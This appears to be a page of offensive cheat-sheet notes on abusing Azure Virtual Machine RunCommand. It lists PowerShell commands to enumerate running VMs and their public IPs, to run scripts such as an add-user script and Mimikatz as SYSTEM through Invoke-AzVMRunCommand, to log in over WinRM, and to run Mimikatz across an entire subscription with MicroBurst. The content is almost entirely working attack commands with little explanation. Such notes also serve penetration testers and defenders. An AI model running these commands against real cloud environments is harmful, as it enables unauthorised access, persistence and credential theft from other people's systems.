~/bokkapig
hack the box machine writeups
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Azure Services - Virtual Machine

contents
azure-services-virtual-machine.md

RunCommand#

Allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

Requirements: Microsoft.Compute/virtualMachines/runCommand/action

  • List available Virtual Machines

    PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,NameResourceGroupName    Name       -----------------    ----       TESTRESOURCES        Remote-Test

  • Get Public IP of VM by querying the network interface

    PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfilePS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

  • Execute Powershell script on the VM, like adduser

    PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -VerbosePS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

  • Finally you should be able to connect via WinRM

    $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential('username', $Password)$sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)Enter-PSSession $sess

Against the whole subscription using MicroBurst.ps1

Import-module MicroBurst.psm1Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

References#